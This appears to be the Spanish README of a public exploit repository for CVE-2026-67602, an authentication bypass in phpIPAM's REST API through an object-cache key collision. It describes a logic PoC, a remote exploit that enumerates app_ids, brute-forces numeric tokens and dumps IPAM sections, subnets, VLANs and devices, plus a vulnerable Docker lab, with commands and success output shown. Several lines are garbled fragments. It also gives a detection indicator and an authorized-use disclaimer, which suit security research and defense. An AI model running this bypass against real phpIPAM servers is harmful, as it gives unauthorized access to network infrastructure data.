
Exploit y PoC para CVE-2026-67602, una omisión de autenticación en la API REST de phpIPAM mediante colisión de claves en la caché de objetos, incluyendo un PoC a nivel de lógica y un script de explotación remota.
Bypass de autenticación no autenticado en la API REST de phpIPAM, causado por
una colisión de claves en la caché de objetos: la fila de la base de datos
almacenada en caché al resolver el app_id de una aplicación de API satisface
la verificación posterior de app_code (token) siempre que el token
proporcionado sea igual al id numérico de la fila. El secreto real de la
aplicación nunca se compara.
AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:N)app_security = ssl_coded29728f)| Archivo | Propósito |
|---|---|
poc_cache_collision.php | PoC a nivel de lógica. Ejecuta las implementaciones textuales vulnerables (v1.8.1) y corregidas (1.8.2) de fetch_object/cache_check/cache_write contra una base de datos simulada y reproduce la secuencia exacta de fetch de una solicitud HTTP. No se necesita instalación de phpIPAM. |
exploit.py | Exploit remoto contra una instancia activa de phpIPAM < 1.8.2: enumera app_ids válidos (400 vs 401), fuerza bruta el token numérico (normalmente id 1-3) y opcionalmente vuelca secciones/subredes/VLANs/dispositivos. |
docker-compose.yml | Laboratorio vulnerable: phpIPAM v1.8.1 + MariaDB, HTTP plano con IPAM_TRUST_X_FORWARDED=true para que las aplicaciones ssl_code puedan probarse mediante la cabecera X-Forwarded-Proto. |
$ php poc_cache_collision.php vulnerable
[1] fetch_object('api','app_id','client') -> fila id=2, app_security=ssl_code
[2] fetch_object('api','app_code','2') (cabecera phpipam-token) -> OBJETO (¡acierto de caché!)
[3] $app_id == $app_temp->app_id -> AUTENTICADO
$ php poc_cache_collision.php fixed
[2] fetch_object('api','app_code','2') (cabecera phpipam-token) -> false
[3] Respuesta: 401 No autorizado — token rechazado
$ docker compose up -d
http://localhost:8080/, continúe con el instalador
(http://localhost:8080/install/), elija Instalación automática de la
base de datos, usuario MySQL root / contraseña phpipamAdminRoot.admin / admin), establezca una nueva contraseña de administrador cuando se le solicite.app_id): clientEjecute el exploit (la bandera --xfp satisface la verificación HTTPS mediante
X-Forwarded-Proto, que el laboratorio confía):
$ python3 exploit.py http://localhost:8080 --app-id client --xfp --dump
[*] Objetivo: http://localhost:8080
[*] Fuerza bruta de tokens numéricos (ids de fila) 1..64 para app_id='client'...
[+] BYPASS DE AUTENTICACIÓN — phpipam-token: 1 es aceptado
[+] El app_code real de 32 caracteres de la aplicación nunca fue necesario.
[+] GET /api/client/sections/ -> HTTP 200, 1 sección(es) legible(s)
[*] Volcando datos de IPAM...
d29728f).ssl_code (otros modos de seguridad no se ven afectados por esta colisión de caché)./api/<app_id>/... que lleven una cabecera phpipam-token puramente numérica —
los tokens legítimos son cadenas aleatorias de 32 caracteres, por lo que los
tokens numéricos son un IOC de alta fidelidad.Este repositorio es solo para investigación defensiva y pruebas de penetración autorizadas. Ejecútelo únicamente contra sistemas que posea o para los que tenga permiso por escrito para probar.